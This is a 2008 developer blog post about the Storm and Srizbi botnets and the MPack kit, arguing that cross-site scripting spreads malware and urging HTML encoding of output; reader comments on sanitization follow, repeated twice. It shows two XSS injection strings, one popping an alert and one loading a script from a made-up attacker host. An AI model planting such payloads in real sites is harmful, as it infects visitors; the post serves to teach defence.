Hanalei, Hawaii 9/2/2010
438 Posts and Counting

The Perfect Storm Botnet

Sunday, December 14, 2008 -

I'm sure you've been told, numerous times no doubt, about Cross-site scripting and that it's bad. I think, for most developers, the only fear they have of XSS is looking foolish when someone hacks their site, shredding the layout of their pages and sending popups all over the screen. At least that's what I thought a while back. And it's all because I didn't quite get the depth of the soul-corroding evil that uses XSS as a primary attack point. Nor how pervasive it is.

Come with me, friends, on a Dante's journey into the black, horrible, dirty depths of the Botnet -  The Hordes of zombie drone computers on the internet that work to Enlarge your Penis, sell you Cialis, and melt your face.

An Inconvenient Zombie Death Army
I was studying up today on a book I'm writing (the security chapter) and I decided to devote the afternoon to  getting to know more about spam, spammers, and the viruses they write. I know that most machines, when they get infected with a trojan or worm, become part of a larger network which coordinates distributed sending of nasty email. What I didn't know just how evil these things really are (from Wikipedia):

The [Storm] botnet reportedly is powerful enough as of September 2007 to force entire countries off the Internet, and is estimated to be capable of executing more instructions per second than some of the world's top supercomputers. However, it is not a completely accurate comparison, according to security analyst James Turner, who said that comparing a botnet to a supercomputer is like comparing an army of snipers to a nuclear weapon

If that made you catch your breath a bit, read on...

At certain points in time, the Storm worm used to spread the botnet has attempted to release hundreds or thousands of versions of itself onto the Internet, in a concentrated attempt to overwhelm the defenses of anti-virus and malware security firms. According to Joshua Corman, an IBM security researcher, "This is the first time that I can remember ever seeing researchers who were actually afraid of investigating an exploit."

It's one of those things that you really don't want to know about; but it's really hard to pull yourself out once you're in. This rat-hole goes very, very deep. But is it all real? Or is it just some hyped up marketing prattle to get you to buy an Antivirus? You decide for yourself.

spam_zombie2

The Picture of Evil: The Srizbi Trojan
Srizbi is only a few years old and is most likely a mutation of one of its precursors. It's a very small trojan, but it packs one hell of a punch (emphasis mine):

Apart from having an efficient spam engine, the trojan is also very capable in hiding itself from both the user and the system itself, including any products designed to remove the trojan from the system. The trojan itself is fully executed in kernel mode and has been noted to employ rootkit-like technologies to prevent any form of detection. By patching the NTFS file system drivers, the trojan will make its files invisible for both the operating system and any human user utilizing the system. The trojan is also capable of hiding network traffic it generates by directly attaching NDIS and TCP/IP drivers to its own process, a feature currently unique for this trojan. This procedure has been proved to allow the trojan to bypass both firewall and sniffer protection on the system.

Once the bot is in place and operational, it will contact one of the hardcoded servers from a list it carries with it. This server will then supply the bot with a zip file containing a number of files required by the bot to start its spamming business. The following files have been identified to be downloaded:

  1. 000_data2 - mail server domains
  2. 001_ncommall - list of names
  3. 002_senderna - list of possible sender names
  4. 003_sendersu - list of possible sender surnames
  5. config - Main spam configuration file
  6. message - HTML message to spam
  7. mlist - Recipients mail addresses
  8. mxdata - MX record data

When these files have been received, the bot will first initialize a software routine which allows it to remove files critical for revealing spam and rootkit applications. After this procedure is done, the trojan will then start sending out the spam message it has received from the control server.

This trojan actually patches the NTFS file system in a sort of "Jedi mindtrick" which tells it "I am not the trojan you're looking for". Not only that, it's able to talk DIRECTLY to the TCP/IP drivers, and hide in their cargo hold on the way out of the server bay. That, friends, is nutso.

The most insidious part of all of this is that Srizbi is written using this toolset called MPack, which is a PHP-based, commercially available malware kit. Yes, that's correct - it's a malware SDK:

Unusual for such kits, MPack is sold as commercial software (costing $500 to $1,000 US), and is provided by its developers with technical support and regular updates of the software vulnerabilities it exploits. Modules are sold by the developers containing new exploits. These cost between $50 and $150 US depending on how severe the exploit is. The developers also charge to make the scripts and executables undetectable by antivirus software.

This malware kit is especially effective at exploiting XSS holes in websites that aren't entirely prepared for XSS:

The server-side software in the kit is able to customize attacks to a variety of web browsers including Microsoft Internet Explorer, Mozilla Firefox and Opera. MPack generally works by being loaded in an IFrame attached to the bottom of a defaced website. When a user visits the page, MPack sends a script that loads in the IFrame and determines if any vulnerabilities in the browser or operating system can be exploited. If it finds any, it will exploit them and store various statistics for future reference.

Included with the server is a management console, which allows the attacker deploying the software to view statistics about the computers that have been infected, including what web browsers they were using and what countries their connections originated from.

In fact, it's been estimated that if it weren't for XSS, propagation of spam trojans like Srizbi would drop dramatically. As it stands, the network propagates itself using "Stupid Theme", wherein people are sent emails that say "we have video of you naked, click here". The subject matter changes (from naked celebrities to instant fortunes) but occasionally people end up clicking on them, get sent to a compromised site, then BAM, another drone is born.

nytimes_wo_web_zombie

Evil's Super Evil Twin: The Storm Worm
The Storm worm is like Srizbi, but just a tad scarier. It's spread by a system of servers that utilize a DNS-switching routine called "fast flux". Fast flux involves using  one or more zombie hosts as a DNS proxy (singular or in series), and the de-registering/re-registering address records and aliases up to twice a minute. This server army is literally impossible to locate and therefore makes the Storm botnet sort of unstoppable.

The thing that sets the Storm botnet (the fleet of zombie computers infected with the worm) apart is that it's actually capable of defending itself - on its own:

The Storm botnet was observed to be defending itself, and attacking computer systems that scanned for Storm virus-infected computer systems online. The botnet will defend itself with DDoS counter-attacks, to maintain its own internal integrity. At certain points in time, the Storm worm used to spread the botnet has attempted to release hundreds or thousands of versions of itself onto the Internet, in a concentrated attempt to overwhelm the defenses of anti-virus and malware security firms.

Mess with the worm, get the DDoS horns. More from Joshua Corman:

"If you try to attach a debugger, or query sites it's reporting into, it knows and punishes you instantaneously. [Over at] SecureWorks, a chunk of it DDoS-ed a researcher off the network. Every time I hear of an investigator trying to investigate, they're automatically punished. It knows it's being investigated, and it punishes them. It fights back," Corman said.

The crazy part about all of this is that no one's really sure  just how big this zombie death army is, after all it doesn't want to be seen, and doesn't want you know it's there. These guys make money on a very weird scale: only 1 in 10 million spam emails sent results in payment - therefore to make more money you need to send more email. If you're busy being evil, you're not sending mail. Moreover you're exposing yourself and your operation - it's best to remain silent and hidden, growing your Death Army one machine at a time:

According to Matt Sergeant, chief anti-spam technologist at MessageLabs, "In terms of power, [the botnet] utterly blows the supercomputers away. If you add up all 500 of the top supercomputers, it blows them all away with just 2 million of its machines. It's very frightening that criminals have access to that much computing power, but there's not much we can do about it." It is estimated that only 10%-20% of the total capacity and power of the Storm botnet is currently being used.

Spam is organized, sophisticated, and utterly morose and evil. It goes beyond annoying when you consider the power these guys have at their fingertips, and that we just can't catch them. But there is something you can do, and it's so small and so very, very simple. In fact it's only 10 little letters:

Html.Encode

Why, you may ask? Because a primary vector of release for these things is from script-injection, where the bad guys use your site to link off to a zombie host, which contains the nasty-script that wants to eat your computer's face. You can do something about this - and you should!

You Are Not Prepared
Over the last year, people have been very quick to point out that many of the samples I've created have been vulnerable to XSS. Sheepishly I've made the fix, each time, kicking myself for being lame. We didn't need to worry about this so much with Web Forms, but with MVC and hand-rolling HTML, the issue is become greater, and more awareness is needed.

Yesterday as I was reading over Oxite's source code with Damien Guard (this is not to pick on them - just an illustration how easy it is to let stuff slip), I entered this in to the URL field of the comments (UPDATE: this has since been fixed on Oxite and at MIX Online):

"><script>alert("ha ha ha I suck");</script><a href="

And wouldn't ya know it - it worked perfectly - popping up a really annoying message every time I opened the page up. This happened every time, because the database saved the comment, then planted my nasty script every time the page loaded - this is called "passive script injection".

Now if I was evil, I could have done something like this (of course this URL is fake):

"></a><script src=http://srizbitrojan.mynastyninjasite.com/spreadbadness.js></script> <a href="

This is the comment author's URL, and his name will be linkable even if you have this script line in there. If I had my hands on MPack, who knows what kind of stuff I could have done!

To get around this, all the developer needed to do was to

  1. Be aware of the evil that lies behind XSS, and why it wants to melt your face and eat your children and
  2. Use Html.Encode() on ANYTHING that is output on a page.

Please, for the children, encode your output.

Further Reading
I had a really good time investigating the chapter I'm writing, and if you're interested in any of the above, here are some links to get you started. It's good stuff to know, but you'll get dirty along the way:

Related


Gravatar
Billg - Sunday, December 14, 2008 - Shouldn't there just be a setting for this in IIS/ASP.NET/Wherever which just htmlencodes output *by default*? I mean, default to 'safemode' unless the developer says otherwise?
Gravatar
John_Idol - Sunday, December 14, 2008 - Great post - wonder what will happen when people will start writing worms using genetic algorithms (maybe they already started)
Gravatar
John Tarbox - Sunday, December 14, 2008 - Rob, would you be willing to blog some more about Oxite and the code changes necessary to fix this issue?
Gravatar
Jorge - Sunday, December 14, 2008 - Doesn't really work, because it's already implemented in WebForms. They have multiple protection mecanisms to avoid these attacks but they are so limiting that they end up being disabled altogether (try typing a '<' in a textbox, for example), and the only default "hole" is the Literal control whose whole purpose is to bypass the encoding mechanism of Labels and other controls (meaning that this is the override you're asking for). And I'd bet you've seen quite a few asp.net sites hacked anyway, haven't you? :)



It's all just a question of education and practice, really. Unless the developers have XSS in their minds all the time they'll just regard them as edge cases. And your suggestions only encourage that way of thinking.
Gravatar
birdchest - Sunday, December 14, 2008 - Hey Rob,



I know you've done a lot with MVC now, do you think you could start an assembly similar to your SubSonic Sugar assembly with HTML helper extension methods. You've talked about keeping your views clean and secure by using extension methods, just guessing you have a good set going now. Thanks.



Oh yeah, there is also another site that has pictures of zombies in the posts, but I can't seem to remember the name.... :P
Gravatar
Damien Guard - Sunday, December 14, 2008 - Sometimes you just can't use Html Encode on the output - such as where you want to allow a subset of HTML e.g. bold, italics. In that case you need a robust library to prune every tag it doesn't specifically allow.



[)amien
Gravatar
Todd Smith - Sunday, December 14, 2008 - How about making the default to encode everything. Then require the developer to disable encoding on a per call basis when needed? Maybe include a different tag for non-encoded output:



<%!= Html.Stuff ("more stuff") %>



Pick your poison I guess:



- Safe by default but bug prone (oops forgot to disable encoding on that one)

- Works most of the time but prone to security issues (what is XSS?)





Gravatar
Steve Sheldon - Sunday, December 14, 2008 - I'm going to rant a bit. No offense, but this has bothered me for about 5 years now as I've seen one .net web app released after another which suffers from major XSS flaws.



Every solution Microsoft comes up with to deal with XSS involves Html.Encode(). It's like they only tool they know how to use is a hammer. They came out with the cross site scripting library, which was nothing more than a new version of Html.Encode and as such shows a lack of understanding of the problem, as well as no serious desire to address it.



Quite often on the internet you want to allow users to write formatted entries. We have all kinds of neat little fancy editors like FCK, Cute Editor, Freetextbox, markitup, etc. etc. for this purpose. Sure you think, but I've limited the buttons at the top and I don't let them edit html directly, my users can only do bold and italics and that's it. But try to cut and paste from another browser and you'll find that with many of these it pastes in just fine.



The problem of purifying your HTML, only allowing that HTML which you want isn't an easy one to solve. You can't just use a regex pattern to allow through a handful of tags, as there are several ways to fool that mechanism. You practically have to parse the text as HTML, and then rewrite it with only the allowed tags and attributes.



The PHP world has a number of solutions for this problem, such as HTML Purify and so on. They're very good solutions and they're in widespread adoption. The PHP world understands this problem.



The .NET world? Nothing really. The closest thing I've found is OWASP's AntiSamy, and it's really an early beta and is a bit on the rough side. Still at least we have a start now.



I just checked, and Oxite suffers from this as well. Sure they're protecting comments, but not posts. Acceptable if this is used on a site where you are the owner and the sole person who posts. But if you were building a hosted site, that allowed multiple people access to post, people you didn't necessarily have control over. You know, like myspace.com. Samy will rear his ugly head soon enough.



The answer isn't HTMLEncoding everything. The answer is having tools which do what is needed. Maybe Microsoft doesn't create that tool. That's fine. But at least make people more aware of the problem. Stop talking about Html.Encode as if it's the only solution.

Gravatar
Adam - Sunday, December 14, 2008 - What do you do then if you have a wysiwyg editor for a part of your site??

Do you then have to do some specific filtering of the tags to make sure no bad ones are used?? eg. script



Gravatar
robconery - Sunday, December 14, 2008 - >>> Stop talking about Html.Encode as if it's the only solution

Always interesting to see how people will read what you write. PHP is hardly the example I'd hold up in this case; it's rife with security holes. Developers are the ones who need to be aware of the issues and Html.Encode will fix many of the situations.



Waiting to hear what you think are the rest...
Gravatar
robconery - Sunday, December 14, 2008 - You've seen the issue, laid out pretty clearly (I hope) - what are your thoughts?
Gravatar
Adam - Sunday, December 14, 2008 - After some looking I found this piece of code.



http://refactormycode.com/codes/333-sanitize-html



Seems to do the job pretty well at removing tags not in the whitelist. From then you could either choose to Html.Encode or not to depending if you want the formatting, or want to show the code.

At least you know that all bad tags are removed either way.



And if you always only want to show the code then you can just do the Html.Encode, which would allow script tags and the like to still be shown.



Nice post though.
Gravatar
josh - Sunday, December 14, 2008 - wow. I knew a little about this, and still I found it bracing to think about. Well written.
Gravatar
Steven Sanderson - Monday, December 15, 2008 - Wow, it's almost exactly a year since we had this debate last time...



http://blog.codeville.net/2007/12/19/aspnet-mvc-prevent-xss-with-automatic-html-encoding/



Did anyone in the ASP.NET / MVC teams come to any conclusions about this?
Gravatar
Steve Smith - Monday, December 15, 2008 - This has been suggested many, many times to the MVC team but unfortunately it doesn't look like it will happen. I believe there are real technical reasons (backward compatibility with web forms being the big one) why this is not a simple fix, but I still think it would be best if <%= ... %> were HTML Encoded by default. Then <%!!= ... %> or something could be unencoded, and devs would have to *think* before using unencoded content, rather than the reverse.
Gravatar
Steve Sheldon - Monday, December 15, 2008 - Aww, don't get defensive. :-) I wasn't really pointing fingers at you in particular, just the general attitude we've had for years.



I just remember when asp.net 1.1 came about and forced your app to throw an error if it saw unsafe html being posted back. I suppose this was to force you to think about it, but I think the whole .NET development community just doesn't understand these issues and few people are really educating or promoting good solutions.



Ok, so maybe I should blog about this.
Gravatar
Steve Sheldon - Monday, December 15, 2008 - Look at Owasp AntiSamy. It's a better start. The problem with Atwood's code is that it's difficult to make a regex foolproof.
Gravatar
Chris - Monday, December 15, 2008 - I wish i would have known about Owasp a while ago. Good catch!
Gravatar
Steven Sanderson - Monday, December 15, 2008 - When you say "technical reasons", can you be more specific? To me, it's far from obvious why it's meaningful for ASP.NET MVC view pages to be "backwardly compatible" with WebForms pages - they aren't compatible in any other way.



I also know that encoding-by-default has been suggested many, many times, but I still haven't heard anybody from Microsoft explain why they don't want to pursue it (apart from somebody once citing performance, which is plainly crazy!).
Gravatar
Tim - Monday, December 15, 2008 - About the Malware being charged for... this is an area that drives me crazy. Why the government can't seriously crack down on stuff like that is beyond me. Anything that involves money changing hands can be followed all the way to its owners very easily by government(s). At least start by rounding up anyone collecting money in these areas. Until we have laws with real TEETH against blatantly illegal online behavior, these predators (and their pay-for-support devs) will only multiply.
Gravatar
Todd Smith - Saturday, December 27, 2008 - If you visit http://channel9.msdn.com this morning and click on the Search link it was redirecting you to http://www.linux.org. Gee I wonder how that happened :\
Gravatar
Todd Smith - Saturday, December 27, 2008 - http://tinyurl.com/8c6hmv it's like internet graffiti
Gravatar
robconery - Saturday, December 27, 2008 - LMAO!
Gravatar
togakangaroo - Monday, January 05, 2009 - I listened to a lecture (2007 CSE Colloquia podcast maybe?) lately which discussed a potential strategy for diffusing DoS attacks from a network like Storm. The idea is to have your own bot cloud that lies between the client and server. The client sends a request into the cloud without knowing which particular node the request will land on, the server polls the cloud for requests, retrieves them decides whether or not to act.



It would require a fairly large amount of servers willing to act as the cloud and for ISPs to install a piece of hardware (the authors of the paper described it but I'm not a hardware guy so over my head) that would switch to the cloud system when a possible DoS attack is suspected.



Maybe it would work maybe not, just keep your chin up that there are indeed solutions down the line.
Gravatar
Petr - Wednesday, January 07, 2009 - What about using Microsoft Anti-Cross Site Scripting Library ?

http://www.microsoft.com/downloads/details.aspx?familyid=051ee83c-5ccf-48ed-8463-02f56a6bfc09&displaylang=en&tm
Gravatar
David S - Thursday, January 08, 2009 - One of your best articles Rob, so much information that is helpful even to people who are not "developers"



Keep em coming!
Gravatar
Billg - Sunday, December 14, 2008 - Shouldn't there just be a setting for this in IIS/ASP.NET/Wherever which just htmlencodes output *by default*? I mean, default to 'safemode' unless the developer says otherwise?
Gravatar
Jorge - Sunday, December 14, 2008 - Doesn't really work, because it's already implemented in WebForms. They have multiple protection mecanisms to avoid these attacks but they are so limiting that they end up being disabled altogether (try typing a '<' in a textbox, for example), and the only default "hole" is the Literal control whose whole purpose is to bypass the encoding mechanism of Labels and other controls (meaning that this is the override you're asking for). And I'd bet you've seen quite a few asp.net sites hacked anyway, haven't you? :)

It's all just a question of education and practice, really. Unless the developers have XSS in their minds all the time they'll just regard them as edge cases. And your suggestions only encourage that way of thinking.
Gravatar
Steven Sanderson - Monday, December 15, 2008 - Wow, it's almost exactly a year since we had this debate last time...

http://blog.codeville.net/2007/12/19/aspnet-mvc...

Did anyone in the ASP.NET / MVC teams come to any conclusions about this?
Gravatar
John_Idol - Sunday, December 14, 2008 - Great post - wonder what will happen when people will start writing worms using genetic algorithms (maybe they already started)
Gravatar
John Tarbox - Sunday, December 14, 2008 - Rob, would you be willing to blog some more about Oxite and the code changes necessary to fix this issue?
Gravatar
birdchest - Sunday, December 14, 2008 - Hey Rob,

I know you've done a lot with MVC now, do you think you could start an assembly similar to your SubSonic Sugar assembly with HTML helper extension methods. You've talked about keeping your views clean and secure by using extension methods, just guessing you have a good set going now. Thanks.

Oh yeah, there is also another site that has pictures of zombies in the posts, but I can't seem to remember the name.... :P
Gravatar
Damien Guard - Sunday, December 14, 2008 - Sometimes you just can't use Html Encode on the output - such as where you want to allow a subset of HTML e.g. bold, italics. In that case you need a robust library to prune every tag it doesn't specifically allow.

[)amien
Gravatar
Todd Smith - Sunday, December 14, 2008 - How about making the default to encode everything. Then require the developer to disable encoding on a per call basis when needed? Maybe include a different tag for non-encoded output:

<%!= Html.Stuff ("more stuff") %>

Pick your poison I guess:

- Safe by default but bug prone (oops forgot to disable encoding on that one)
- Works most of the time but prone to security issues (what is XSS?)
Gravatar
Steve Smith - Monday, December 15, 2008 - This has been suggested many, many times to the MVC team but unfortunately it doesn't look like it will happen. I believe there are real technical reasons (backward compatibility with web forms being the big one) why this is not a simple fix, but I still think it would be best if <%= ... %> were HTML Encoded by default. Then <%!!= ... %> or something could be unencoded, and devs would have to *think* before using unencoded content, rather than the reverse.
Gravatar
Steven Sanderson - Monday, December 15, 2008 - When you say "technical reasons", can you be more specific? To me, it's far from obvious why it's meaningful for ASP.NET MVC view pages to be "backwardly compatible" with WebForms pages - they aren't compatible in any other way.

I also know that encoding-by-default has been suggested many, many times, but I still haven't heard anybody from Microsoft explain why they don't want to pursue it (apart from somebody once citing performance, which is plainly crazy!).
Gravatar
Steve Sheldon - Sunday, December 14, 2008 - I'm going to rant a bit. No offense, but this has bothered me for about 5 years now as I've seen one .net web app released after another which suffers from major XSS flaws.

Every solution Microsoft comes up with to deal with XSS involves Html.Encode(). It's like they only tool they know how to use is a hammer. They came out with the cross site scripting library, which was nothing more than a new version of Html.Encode and as such shows a lack of understanding of the problem, as well as no serious desire to address it.

Quite often on the internet you want to allow users to write formatted entries. We have all kinds of neat little fancy editors like FCK, Cute Editor, Freetextbox, markitup, etc. etc. for this purpose. Sure you think, but I've limited the buttons at the top and I don't let them edit html directly, my users can only do bold and italics and that's it. But try to cut and paste from another browser and you'll find that with many of these it pastes in just fine.

The problem of purifying your HTML, only allowing that HTML which you want isn't an easy one to solve. You can't just use a regex pattern to allow through a handful of tags, as there are several ways to fool that mechanism. You practically have to parse the text as HTML, and then rewrite it with only the allowed tags and attributes.

The PHP world has a number of solutions for this problem, such as HTML Purify and so on. They're very good solutions and they're in widespread adoption. The PHP world understands this problem.

The .NET world? Nothing really. The closest thing I've found is OWASP's AntiSamy, and it's really an early beta and is a bit on the rough side. Still at least we have a start now.

I just checked, and Oxite suffers from this as well. Sure they're protecting comments, but not posts. Acceptable if this is used on a site where you are the owner and the sole person who posts. But if you were building a hosted site, that allowed multiple people access to post, people you didn't necessarily have control over. You know, like myspace.com. Samy will rear his ugly head soon enough.

The answer isn't HTMLEncoding everything. The answer is having tools which do what is needed. Maybe Microsoft doesn't create that tool. That's fine. But at least make people more aware of the problem. Stop talking about Html.Encode as if it's the only solution.
Gravatar
robconery - Sunday, December 14, 2008 - >>> Stop talking about Html.Encode as if it's the only solution
Always interesting to see how people will read what you write. PHP is hardly the example I'd hold up in this case; it's rife with security holes. Developers are the ones who need to be aware of the issues and Html.Encode will fix many of the situations.

Waiting to hear what you think are the rest...
Gravatar
Steve Sheldon - Monday, December 15, 2008 - Aww, don't get defensive. :-) I wasn't really pointing fingers at you in particular, just the general attitude we've had for years.

I just remember when asp.net 1.1 came about and forced your app to throw an error if it saw unsafe html being posted back. I suppose this was to force you to think about it, but I think the whole .NET development community just doesn't understand these issues and few people are really educating or promoting good solutions.

Ok, so maybe I should blog about this.
Gravatar
Adam - Sunday, December 14, 2008 - What do you do then if you have a wysiwyg editor for a part of your site??
Do you then have to do some specific filtering of the tags to make sure no bad ones are used?? eg. script
Gravatar
robconery - Sunday, December 14, 2008 - You've seen the issue, laid out pretty clearly (I hope) - what are your thoughts?
Gravatar
Adam - Sunday, December 14, 2008 - After some looking I found this piece of code.

http://refactormycode.com/codes/333-sanitize-html

Seems to do the job pretty well at removing tags not in the whitelist. From then you could either choose to Html.Encode or not to depending if you want the formatting, or want to show the code.
At least you know that all bad tags are removed either way.

And if you always only want to show the code then you can just do the Html.Encode, which would allow script tags and the like to still be shown.

Nice post though.
Gravatar
Steve Sheldon - Monday, December 15, 2008 - Look at Owasp AntiSamy. It's a better start. The problem with Atwood's code is that it's difficult to make a regex foolproof.
Gravatar
Chris - Monday, December 15, 2008 - I wish i would have known about Owasp a while ago. Good catch!
Gravatar
josh - Monday, December 15, 2008 - wow. I knew a little about this, and still I found it bracing to think about. Well written.
Gravatar
Tim - Monday, December 15, 2008 - About the Malware being charged for... this is an area that drives me crazy. Why the government can't seriously crack down on stuff like that is beyond me. Anything that involves money changing hands can be followed all the way to its owners very easily by government(s). At least start by rounding up anyone collecting money in these areas. Until we have laws with real TEETH against blatantly illegal online behavior, these predators (and their pay-for-support devs) will only multiply.
Gravatar
Todd Smith - Saturday, December 27, 2008 - If you visit http://channel9.msdn.com this morning and click on the Search link it was redirecting you to http://www.linux.org. Gee I wonder how that happened :
Gravatar
Todd Smith - Saturday, December 27, 2008 - http://tinyurl.com/8c6hmv it's like internet graffiti
Gravatar
robconery - Saturday, December 27, 2008 - LMAO!
Gravatar
togakangaroo - Monday, January 05, 2009 - I listened to a lecture (2007 CSE Colloquia podcast maybe?) lately which discussed a potential strategy for diffusing DoS attacks from a network like Storm. The idea is to have your own bot cloud that lies between the client and server. The client sends a request into the cloud without knowing which particular node the request will land on, the server polls the cloud for requests, retrieves them decides whether or not to act.

It would require a fairly large amount of servers willing to act as the cloud and for ISPs to install a piece of hardware (the authors of the paper described it but I'm not a hardware guy so over my head) that would switch to the cloud system when a possible DoS attack is suspected.

Maybe it would work maybe not, just keep your chin up that there are indeed solutions down the line.
Gravatar
Petr - Wednesday, January 07, 2009 - What about using Microsoft Anti-Cross Site Scripting Library ?
http://www.microsoft.com/downloads/details.aspx...
Gravatar
David S - Thursday, January 08, 2009 - One of your best articles Rob, so much information that is helpful even to people who are not "developers"

Keep em coming!